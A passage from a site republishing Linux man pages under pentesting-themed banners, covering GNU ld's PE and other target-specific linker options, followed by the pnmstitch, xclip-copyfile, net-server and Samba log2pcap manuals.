Use file as the name of a file in which to save the base addresses of all the relocations needed for generating DLLs with dlltool. [This is an i386 PE specific option]

–dll
Create a DLL instead of a regular executable. You may also use -shared or specify a LIBRARY in a given .def file. [This option is specific to the i386 PE targeted port of the linker]

–enable-long-section-names

–disable-long-section-names

The PE variants of the COFF object format add an extension that permits the use of section names longer than eight characters, the normal limit for COFF. By default, these names are only allowed in object files, as fully-linked executable images do not carry the COFF string table required to support the longer names. As a GNU extension, it is possible to allow their use in executable images as well, or to (probably pointlessly!) disallow it in object files, by using these two options. Executable images generated with these long section names are slightly non-standard, carrying as they do a string table, and may generate confusing output when examined with non-GNU PE-aware tools, such as file viewers and dumpers. However, GDB relies on the use of PE long section names to find Dwarf-2 debug information sections in an executable image at runtime, and so if neither option is specified on the command-line, ld will enable long section names, overriding the default and technically correct behaviour, when it finds the presence of debug information while linking an executable image and not stripping symbols. [This option is valid for all PE targeted ports of the linker]

–enable-stdcall-fixup

–disable-stdcall-fixup

If the link finds a symbol that it cannot resolve, it will attempt to do “fuzzy linking” by looking for another defined symbol that differs only in the format of the symbol name (cdecl vs stdcall) and will resolve that symbol by linking to the match. For example, the undefined symbol _foo might be linked to the function _foo@12, or the undefined symbol _bar@16 might be linked to the function _bar. When the linker does this, it prints a warning, since it normally should have failed to link, but sometimes import libraries generated from third-party dlls may need this feature to be usable. If you specify –enable-stdcall-fixup, this feature is fully enabled and warnings are not printed. If you specify –disable-stdcall-fixup, this feature is disabled and such mismatches are considered to be errors. [This option is specific to the i386 PE targeted port of the linker]

–leading-underscore

–no-leading-underscore

For most targets default symbol-prefix is an underscore and is defined in target’s description. By this option it is possible to disable/enable the default underscore symbol-prefix.

–export-all-symbols
If given, all global symbols in the objects used to build a DLL will be exported by the DLL. Note that this is the default if there otherwise wouldn’t be any exported symbols. When symbols are explicitly exported via DEF files or implicitly exported via function attributes, the default is to not export anything else unless this option is given. Note that the symbols DllMain@12, DllEntryPoint@0, DllMainCRTStartup@12, and impure_ptr will not be automatically exported. Also, symbols imported from other DLLs will not be re-exported, nor will symbols specifying the DLL’s internal layout such as those beginning with _head_ or ending with _iname. In addition, no symbols from libgcc, libstd++, libmingw32, or crtX.o will be exported. Symbols whose names begin with _ _rtti_ or _ _builtin_ will not be exported, to help with C++ DLLs. Finally, there is an extensive list of cygwin-private symbols that are not exported (obviously, this applies on when building DLLs for cygwin targets). These cygwin-excludes are: _cygwin_dll_entry@12, _cygwin_crt0_common@8, _cygwin_noncygwin_dll_entry@12, _fmode, _impure_ptr, cygwin_attach_dll, cygwin_premain0, cygwin_premain1, cygwin_premain2, cygwin_premain3, and environ. [This option is specific to the i386 PE targeted port of the linker]

–exclude-symbols symbol,symbol,…
Specifies a list of symbols which should not be automatically exported. The symbol names may be delimited by commas or colons. [This option is specific to the i386 PE targeted port of the linker]

–exclude-all-symbols
Specifies no symbols should be automatically exported. [This option is specific to the i386 PE targeted port of the linker]

–file-alignment
Specify the file alignment. Sections in the file will always begin at file offsets which are multiples of this number. This defaults to 512. [This option is specific to the i386 PE targeted port of the linker]

–heap reserve

–heap reserve,commit

Specify the number of bytes of memory to reserve (and optionally commit) to be used as heap for this program. The default is 1MB reserved, 4K committed. [This option is specific to the i386 PE targeted port of the linker]

–image-base value
Use value as the base address of your program or dll. This is the lowest memory location that will be used when your program or dll is loaded. To reduce the need to relocate and improve performance of your dlls, each should have a unique base address and not overlap any other dlls. The default is 0x400000 for executables, and 0x10000000 for dlls. [This option is specific to the i386 PE targeted port of the linker]

–kill-at
If given, the stdcall suffixes (@nn) will be stripped from symbols before they are exported. [This option is specific to the i386 PE targeted port of the linker]

–large-address-aware
If given, the appropriate bit in the “Characteristics” field of the COFF header is set to indicate that this executable supports virtual addresses greater than 2 gigabytes. This should be used in conjunction with the /3GB or /USERVA=value megabytes switch in the “[operating systems]” section of the BOOT.INI. Otherwise, this bit has no effect. [This option is specific to PE targeted ports of the linker]

–disable-large-address-aware
Reverts the effect of a previous –large-address-aware option. This is useful if –large-address-aware is always set by the compiler driver (e.g. Cygwin gcc) and the executable does not support virtual addresses greater than 2 gigabytes. [This option is specific to PE targeted ports of the linker]

–major-image-version value
Sets the major number of the “image version”. Defaults to 1. [This option is specific to the i386 PE targeted port of the linker]

–major-os-version value
Sets the major number of the “os version”. Defaults to 4. [This option is specific to the i386 PE targeted port of the linker]

–major-subsystem-version value
Sets the major number of the “subsystem version”. Defaults to 4. [This option is specific to the i386 PE targeted port of the linker]

–minor-image-version value
Sets the minor number of the “image version”. Defaults to 0. [This option is specific to the i386 PE targeted port of the linker]

–minor-os-version value
Sets the minor number of the “os version”. Defaults to 0. [This option is specific to the i386 PE targeted port of the linker]

–minor-subsystem-version value
Sets the minor number of the “subsystem version”. Defaults to 0. [This option is specific to the i386 PE targeted port of the linker]

–output-def file
The linker will create the file file which will contain a DEF file corresponding to the DLL the linker is generating. This DEF file (which should be called *.def) may be used to create an import library with dlltool or may be used as a reference to automatically or implicitly exported symbols. [This option is specific to the i386 PE targeted port of the linker]

–enable-auto-image-base

–enable-auto-image-base=value

Automatically choose the image base for DLLs, optionally starting with base value, unless one is specified using the --image-base argument. By using a hash generated from the dllname to create unique image bases for each DLL, in-memory collisions and relocations which can delay program execution are avoided. [This option is specific to the i386 PE targeted port of the linker]

–disable-auto-image-base
Do not automatically generate a unique image base. If there is no user-specified image base (--image-base) then use the platform default. [This option is specific to the i386 PE targeted port of the linker]

–dll-search-prefix string
When linking dynamically to a dll without an import library, search for <string><basename>.dll in preference to lib<basename>.dll. This behaviour allows easy distinction between DLLs built for the various “subplatforms”: native, cygwin, uwin, pw, etc. For instance, cygwin DLLs typically use --dll-search-prefix=cyg. [This option is specific to the i386 PE targeted port of the linker]

–enable-auto-import
Do sophisticated linking of _symbol to _ _imp_ _symbol for DATA imports from DLLs, thus making it possible to bypass the dllimport mechanism on the user side and to reference unmangled symbol names. [This option is specific to the i386 PE targeted port of the linker] The following remarks pertain to the original implementation of the feature and are obsolete nowadays for Cygwin and MinGW targets. Note: Use of the ‘auto-import’ extension will cause the text section of the image file to be made writable. This does not conform to the PE-COFF format specification published by Microsoft. Note - use of the ‘auto-import’ extension will also cause read only data which would normally be placed into the .rdata section to be placed into the .data section instead. This is in order to work around a problem with consts that is described here: http://www.cygwin.com/ml/cygwin/2004-09/msg01101.html Using ‘auto-import’ generally will ‘just work’ – but sometimes you may see this message: “variable ‘<var>’ can’t be auto-imported. Please read the documentation for ld’s --enable-auto-import for details.” This message occurs when some (sub)expression accesses an address ultimately given by the sum of two constants (Win32 import tables only allow one). Instances where this may occur include accesses to member fields of struct variables imported from a DLL, as well as using a constant index into an array variable imported from a DLL. Any multiword variable (arrays, structs, long long, etc) may trigger this error condition. However, regardless of the exact data type of the offending exported variable, ld will always detect it, issue the warning, and exit. There are several ways to address this difficulty, regardless of the data type of the exported variable: One way is to use –enable-runtime-pseudo-reloc switch. This leaves the task of adjusting references in your client code for runtime environment, so this method works only when runtime environment supports this feature. A second solution is to force one of the ‘constants’ to be a variable – that is, unknown and un-optimizable at compile time. For arrays, there are two possibilities: a) make the indexee (the array’s address) a variable, or b) make the ‘constant’ index a variable. Thus: extern type extern_array[]; extern_array[1] –> { volatile type *t=extern_array; t[1] } or extern type extern_array[]; extern_array[1] –> { volatile int t=1; extern_array[t] } For structs (and most other multiword data types) the only option is to make the struct itself (or the long long, or the …) variable: extern struct s extern_struct; extern_struct.field –> { volatile struct s *t=&extern_struct; t->field } or extern long long extern_ll; extern_ll –> { volatile long long * local_ll=&extern_ll; *local_ll } A third method of dealing with this difficulty is to abandon ‘auto-import’ for the offending symbol and mark it with _ _declspec(dllimport). However, in practice that requires using compile-time #defines to indicate whether you are building a DLL, building client code that will link to the DLL, or merely building/linking to a static library. In making the choice between the various methods of resolving the ‘direct address with constant offset’ problem, you should consider typical real-world usage: Original: –foo.h extern int arr[]; –foo.c #include “foo.h” void main(int argc, char **argv){ printf("%d “,arr[1]); } Solution 1: –foo.h extern int arr[]; –foo.c #include “foo.h” void main(int argc, char **argv){ /* This workaround is for win32 and cygwin; do not “optimize” */ volatile int *parr = arr; printf("%d “,parr[1]); } Solution 2: –foo.h /* Note: auto-export is assumed (no _ _declspec(dllexport)) */ #if (defined(_WIN32) || defined(_ _CYGWIN_ _)) && \ !(defined(FOO_BUILD_DLL) || defined(FOO_STATIC)) #define FOO_IMPORT _ _declspec(dllimport) #else #define FOO_IMPORT #endif extern FOO_IMPORT int arr[]; –foo.c #include “foo.h” void main(int argc, char **argv){ printf("%d “,arr[1]); } A fourth way to avoid this problem is to re-code your library to use a functional interface rather than a data interface for the offending variables (e.g. set_foo() and get_foo() accessor functions).

–disable-auto-import
Do not attempt to do sophisticated linking of _symbol to _ _imp_ _symbol for DATA imports from DLLs. [This option is specific to the i386 PE targeted port of the linker]

–enable-runtime-pseudo-reloc
If your code contains expressions described in –enable-auto-import section, that is, DATA imports from DLL with non-zero offset, this switch will create a vector of ‘runtime pseudo relocations’ which can be used by runtime environment to adjust references to such data in your client code. [This option is specific to the i386 PE targeted port of the linker]

–disable-runtime-pseudo-reloc
Do not create pseudo relocations for non-zero offset DATA imports from DLLs. [This option is specific to the i386 PE targeted port of the linker]

–enable-extra-pe-debug
Show additional debug info related to auto-import symbol thunking. [This option is specific to the i386 PE targeted port of the linker]

–section-alignment
Sets the section alignment. Sections in memory will always begin at addresses which are a multiple of this number. Defaults to 0x1000. [This option is specific to the i386 PE targeted port of the linker]

–stack reserve

–stack reserve,commit

Specify the number of bytes of memory to reserve (and optionally commit) to be used as stack for this program. The default is 2MB reserved, 4K committed. [This option is specific to the i386 PE targeted port of the linker]

–subsystem which

–subsystem which:major

–subsystem which:major.minor

Specifies the subsystem under which your program will execute. The legal values for which are native, windows, console, posix, and xbox. You may optionally set the subsystem version also. Numeric values are also accepted for which. [This option is specific to the i386 PE targeted port of the linker] The following options set flags in the DllCharacteristics field of the PE file header: [These options are specific to PE targeted ports of the linker]

–high-entropy-va

–disable-high-entropy-va

Image is compatible with 64-bit address space layout randomization (ASLR). This option is enabled by default for 64-bit PE images. This option also implies –dynamicbase and –enable-reloc-section.

–dynamicbase

–disable-dynamicbase

The image base address may be relocated using address space layout randomization (ASLR). This feature was introduced with MS Windows Vista for i386 PE targets. This option is enabled by default but can be disabled via the –disable-dynamicbase option. This option also implies –enable-reloc-section.

–forceinteg

–disable-forceinteg

Code integrity checks are enforced. This option is disabled by default.

–nxcompat

–disable-nxcompat

The image is compatible with the Data Execution Prevention. This feature was introduced with MS Windows XP SP2 for i386 PE targets. The option is enabled by default.

–no-isolation

–disable-no-isolation

Although the image understands isolation, do not isolate the image. This option is disabled by default.

–no-seh

–disable-no-seh

The image does not use SEH. No SE handler may be called from this image. This option is disabled by default.

–no-bind

–disable-no-bind

Do not bind this image. This option is disabled by default.

–wdmdriver

–disable-wdmdriver

The driver uses the MS Windows Driver Model. This option is disabled by default.

–tsaware

–disable-tsaware

The image is Terminal Server aware. This option is disabled by default.

–insert-timestamp

–no-insert-timestamp

Insert a real timestamp into the image. This is the default behaviour as it matches legacy code and it means that the image will work with other, proprietary tools. The problem with this default is that it will result in slightly different images being produced each time the same sources are linked. The option –no-insert-timestamp can be used to insert a zero value for the timestamp, this ensuring that binaries produced from identical sources will compare identically. If –insert-timestamp is active then the time inserted is either the time that the linking takes place or, if the SOURCE_DATE_EPOCH environment variable is defined, the number of seconds since Unix epoch as specified by that variable.

–enable-reloc-section

–disable-reloc-section

Create the base relocation table, which is necessary if the image is loaded at a different image base than specified in the PE header. This option is enabled by default.

The C6X uClinux target uses a binary format called DSBT to support shared libraries. Each shared library in the system needs to have a unique index; all executables use an index of 0.

–dsbt-size size
This option sets the number of entries in the DSBT of the current executable or shared library to size. The default is to create a table with 64 entries.

–dsbt-index index
This option sets the DSBT index of the current executable or shared library to index. The default is 0, which is appropriate for generating executables. If a shared library is generated with a DSBT index of 0, the R_C6000_DSBT_INDEX relocs are copied into the output file. The –no-merge-exidx-entries switch disables the merging of adjacent exidx entries in frame unwind info.

–branch-stub
This option enables linker branch relaxation by inserting branch stub sections when needed to extend the range of branches. This option is usually not required since C-SKY supports branch and call instructions that can access the full memory range and branch relaxation is normally handled by the compiler or assembler.

–stub-group-size=N
This option allows finer control of linker branch stub creation. It sets the maximum size of a group of input sections that can be handled by one stub section. A negative value of N locates stub sections after their branches, while a positive value allows stub sections to appear either before or after the branches. Values of 1 or -1 indicate that the linker should choose suitable defaults.

The 68HC11 and 68HC12 linkers support specific options to control the memory bank switching mapping and trampoline code generation.

–no-trampoline
This option disables the generation of trampoline. By default a trampoline is generated for each far function which is called using a jsr instruction (this happens when a pointer to a far function is taken).

–bank-window name
This option indicates to the linker the name of the memory region in the MEMORY specification that describes the memory bank window. The definition of such region is then used by the linker to compute paging and addresses within the memory window.

The following options are supported to control handling of GOT generation when linking for 68K targets.

–got=type
This option tells the linker which GOT generation scheme to use. type should be one of single, negative, multigot or target. For more information refer to the Info entry for ld.

The following options are supported to control microMIPS instruction generation and branch relocation checks for ISA mode transitions when linking for MIPS targets.

–insn32

–no-insn32

These options control the choice of microMIPS instructions used in code generated by the linker, such as that in the PLT or lazy binding stubs, or in relaxation. If –insn32 is used, then the linker only uses 32-bit instruction encodings. By default or if –no-insn32 is used, all instruction encodings are used, including 16-bit ones where possible.

–ignore-branch-isa

–no-ignore-branch-isa

These options control branch relocation checks for invalid ISA mode transitions. If –ignore-branch-isa is used, then the linker accepts any branch relocations and any ISA mode transition required is lost in relocation calculation, except for some cases of BAL instructions which meet relaxation conditions and are converted to equivalent JALX instructions as the associated relocation is calculated. By default or if –no-ignore-branch-isa is used a check is made causing the loss of an ISA mode transition to produce an error.

–compact-branches

–no-compact-branches

These options control the generation of compact instructions by the linker in the PLT entries for MIPS R6.

For the pdp11-aout target, three variants of the output format can be produced as selected by the following options. The default variant for pdp11-aout is the –omagic option, whereas for other targets –nmagic is the default. The –imagic option is defined only for the pdp11-aout target, while the others are described here as they apply to the pdp11-aout target.

-N

–omagic

Mark the output as OMAGIC (0407) in the a.out header to indicate that the text segment is not to be write-protected and shared. Since the text and data sections are both readable and writable, the data section is allocated immediately contiguous after the text segment. This is the oldest format for PDP11 executable programs and is the default for ld on PDP11 Unix systems from the beginning through 2.11BSD.

-n

–nmagic

Mark the output as NMAGIC (0410) in the a.out header to indicate that when the output file is executed, the text portion will be read-only and shareable among all processes executing the same file. This involves moving the data areas up to the first possible 8K byte page boundary following the end of the text. This option creates a pure executable format.

-z

–imagic

Mark the output as IMAGIC (0411) in the a.out header to indicate that when the output file is executed, the program text and data areas will be loaded into separate address spaces using the split instruction and data space feature of the memory management unit in larger models of the PDP11. This doubles the address space available to the program. The text segment is again pure, write-protected, and shareable. The only difference in the output format between this option and the others, besides the magic number, is that both the text and data sections start at location 0. The -z option selected this format in 2.11BSD. This option creates a separate executable format.

–no-omagic
Equivalent to –nmagic for pdp11-aout.

ENVIRONMENT

You can change the behaviour of ld with the environment variables GNUTARGET, LDEMULATION and COLLECT_NO_DEMANGLE.

GNUTARGET determines the input-file object format if you don’t use -b (or its synonym –format). Its value should be one of the BFD names for an input format. If there is no GNUTARGET in the environment, ld uses the natural format of the target. If GNUTARGET is set to default then BFD attempts to discover the input format by examining binary input files; this method often succeeds, but there are potential ambiguities, since there is no method of ensuring that the magic number used to specify object-file formats is unique. However, the configuration procedure for BFD on each system places the conventional format for that system first in the search-list, so ambiguities are resolved in favor of convention.

LDEMULATION determines the default emulation if you don’t use the -m option. The emulation can affect various aspects of linker behaviour, particularly the default linker script. You can list the available emulations with the –verbose or -V options. If the -m option is not used, and the LDEMULATION environment variable is not defined, the default emulation depends upon how the linker was configured.

Normally, the linker will default to demangling symbols. However, if COLLECT_NO_DEMANGLE is set in the environment, then it will default to not demangling symbols. This environment variable is used in a similar fashion by the gcc linker wrapper program. The default may be overridden by the –demangle and –no-demangle options.

SEE ALSO

ar (1), nm (1), objcopy (1), objdump (1), readelf (1) and the Info entries for binutils and ld.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1851 - Linux cli command pnmstitch

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmstitch and provides detailed information about the command pnmstitch, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmstitch.

.

NAME 🖥️ pnmstitch 🖥️

stitch together two panoramic (side-by-side) photographs

SYNOPSIS

pnmstitch [ [left_filespec] right_filespec | left_filespec right_filespec output_filespec ] [-width=width] [-height=height] [-xrightpos=column] [-yrightpos=row] [-stitcher={RotateSliver, BiLinearSliver,LinearSliver}] [-filter={LineAtATime,HorizontalCrop}] [-output=output_filespec] [-verbose]

All options can be abbreviated to their shortest unique prefix. You may use two hyphens instead of one. You may separate an option name and its value with white space instead of an equals sign.

DESCRIPTION

This program is part of Netpbm(1) .

pnmstitch stitches together two panoramic photographs. This means if you have photographs of the left and right side of something that is too big for a single camera frame, pnmstitch can join them into one wide picture.

pnmstitch works only on side-by-side images, not top and bottom (though you could certainly use pamflip in combination with pnmstitch to achieve this). It stitches together two images, but you can use it repeatedly to stitch together as many as you need to.

Your photographs must overlap in order for pnmstitch to work, and the overlap should be substantial. pnmstitch shifts and stretches the right hand image to match it up the left hand image. You probably want to crop the result with pamcut to make a nice rectangular image.

If you’re just trying to join (concatenate) two images at their edges, use pamcat.

The left_filespec and right_filespec arguments are the specifications (names) of the PNM files containing the left hand and right hand images. If you specify only right_filespec, the left hand image comes from Standard Input. If you specify neither, both images come from Standard Input as a multi-image file containing first the left and then the right image.

output_filespec is the specification (name) of the output PNM file. The -output option also specifies the output file. You cannot specify both the argument and the option. If you specify neither, the output goes to Standard Output.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pnmstitch recognizes the following command line options:

**-width=**width
**-height=**height
**-xrightpos=**column
**-yrightpos=**row
These are constraints on where pnmstitch stitches the images together. For the LinearSliver method, column and row tell what location in the right hand image matches up to the top right corner of the left hand image.

-stitcher={RotateSliver,BiLinearSliver,
LinearSliver*}* The default is RotateSliver*.*

-filter={LineAtATime,HorizontalCrop}
No details available.

**-output=**output_filespec
Name of output file. If you don’t specify this option, the output image goes to Standard Output.

-verbose
This option causes pnmstitch to issue messages to Standard Error about the stitching process.

SEE ALSO

pamcut(1) , pamcat(1) , pamflip(1) , pnm(1) ,

HISTORY

This program was added to Netpbm in Release 10.7 (August 2002).

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmstitch.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1852 - Linux cli command xclip-cutfile

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xclip-cutfile and provides detailed information about the command xclip-cutfile, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xclip-cutfile.

NAME 🖥️ xclip-cutfile 🖥️

copyfile, xclip-cutfile, xclip-pastefile - copy and move files via the X clipboard

SYNOPSIS

xclip-copyfile [-p] FILES…

xclip-cutfile [-p] FILES…

xclip-pastefile

DESCRIPTION

xclip-copyfile copies files into the X clipboard, recursing into directories.

xclip-cutfile copies the files, but also deletes them afterwards.

-p
preserve path formation

xclip-pastefile pastes the files out of the clipboard

EXAMPLES

Copying a file to a remote host

[maggie.lkpg.cendio.se ~]$ echo "A file created on ${HOSTNAME}" > file1
[maggie.lkpg.cendio.se ~]$ xclip-copyfile file1
[sofie.homeip.net ~/doc]$ xclip-pastefile
file1
[sofie.homeip.net ~/doc]$ cat file1
A file created on maggie.lkpg.cendio.se


Copying an entire tree structure

[sofie.homeip.net ~]$ xclip-copyfile doc
[maggie.lkpg.cendio.se ~/tmp]$ xclip-pastefile
doc/
doc/letter-mom-april.txt
doc/file1
doc/letter-dad-march.txt


Copying files with preserved path information

[maggie.lkpg.cendio.se ~]$ xclip-copyfile -p /etc/sysconfig/grub
tar: Removing leading `/' from member names
[sofie.homeip.net ~/tmp]$ xclip-pastefile
etc/sysconfig/grub
[sofie.homeip.net ~/tmp]$ ls etc/sysconfig/grub
etc/sysconfig/grub


Moving files

[sofie.homeip.net ~]$ ls letter-brother-may.txt
letter-brother-may.txt
[sofie.homeip.net ~]$ xclip-cutfile letter-brother-may.txt
[sofie.homeip.net ~]$ ls letter-brother-may.txt
ls: cannot access letter-brother-may.txt: No such file or directory
[sofie.homeip.net ~]$ cd doc
[sofie.homeip.net ~/doc]$ xclip-pastefile
letter-brother-may.txt

AUTHORS

This manual page was written by Maximilian Gass <[email protected]> for the Debian project. It may be used for everything else, of course.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1853 - Linux cli command net-serverp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command net-serverp and provides detailed information about the command net-serverp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the net-serverp.

NAME 🖥️ net-serverp 🖥️

server - Base Net::Server starting module

SYNOPSIS

net-server [base type] [net server arguments] net-server PreFork ipv * net-server HTTP net-server HTTP app foo.cgi net-server HTTP app foo.cgi app /=bar.cgi net-server HTTP port 8080 port 8443/ssl ipv * server_type PreFork –SSL_key_file=my.key –SSL_cert_file=my.crt access_log_file STDERR

DESCRIPTION

The net-server program gives a simple way to test out code and try port connection parameters. Though the running server can be robust enough for production, it is anticipated that this binary will just be used for basic testing of net-server ports, acting as a simple echo server, or for running development scripts as CGI.

OPTIONS

“base type”
The very first argument may be a Net::Server flavor. This is given as shorthand for writing out server_type ServerFlavor. Additionally, this allows types such as HTTP and PSGI, which are not true Net::Server base types, to subclass other server types via an additional server_type argument. net-server PreFork net-server HTTP # becomes a HTTP server in the Fork flavor net-server HTTP server_type PreFork # preforking HTTP server

“port”
Port to bind upon. Default is 80 if running a HTTP server as root, 8080 if running a HTTP server as non-root, or 20203 otherwise. Multiple value can be given for binding to multiple ports. All of the methods for specifying port attributes enumerated in Net::Server and Net::Server::Proto are available here. net-server port 20201 net-server port 20202 net-server port 20203/IPv6

“host”
Host to bind to. Default is *. Will bind to an IPv4 socket if an IPv4 address is given. Will bind to an IPv6 socket if an IPv6 address is given (requires installation of IO::Socket::INET6). If a hostname is given and ipv is still set to 4, an IPv4 socket will be created. If a hostname is given and ipv is set to 6, an IPv6 socket will be created. If a hostname is given and ipv is set to * (default), a lookup will be performed and any available IPv4 or IPv6 addresses will be bound. The ipv parameter can be set directly, or passed along in the port, or additionally can be passed as part of the hostname. net-server host localhost net-server host localhost/IPv4

There are many more options available. Please see the Net::Server documentation.

AUTHOR

Paul Seamons <[email protected]>

LICENSE

This package may be distributed under the terms of either the

GNU General Public License or the Perl Artistic License

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1854 - Linux cli command log2pcap

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command log2pcap and provides detailed information about the command log2pcap, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the log2pcap.

NAME 🖥️ log2pcap 🖥️

Extract network traces from Samba log files

SYNOPSIS

log2pcap [-h] [-q] [logfile] [pcap_file]

DESCRIPTION

This tool is part of the samba(7) suite.

log2pcap reads in a samba log file and generates a pcap file (readable by most sniffers, such as ethereal or tcpdump) based on the packet dumps in the log file.

The log file must have a log level of at least 5 to get the SMB header/parameters right, 10 to get the first 512 data bytes of the packet and 50 to get the whole packet.

OPTIONS

-h

If this parameter is specified the output file will be a hex dump, in a format that is readable by the text2pcap utility.

-q

Be quiet. No warning messages about missing or incomplete data will be given.

logfile

Samba log file. log2pcap will try to read the log from stdin if the log file is not specified.

pcap_file

Name of the output file to write the pcap (or hexdump) data to. If this argument is not specified, output data will be written to stdout.

-?|–help

Print a summary of command line options.

EXAMPLES

Extract all network traffic from all samba log files:

  	$ log2pcap < /var/log/* > trace.pcap

Convert to pcap using text2pcap:

$ log2pcap -h samba.log | text2pcap -T 139,139 - trace.pcap

VERSION

This man page is part of version 4.20.1-Debian of the Samba suite.

BUGS

Only SMB data is extracted from the samba logs, no LDAP, NetBIOS lookup or other data.

The generated TCP and IP headers dont contain a valid checksum.

SEE ALSO

text2pcap(1), ethereal(1)

AUTHOR

The original Samba software and related utilities were created by Andrew Tridgell. Samba is now developed by the Samba Team as an Open Source project similar to the way the Linux kernel is developed.

This manpage was written by Jelmer Vernooij.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

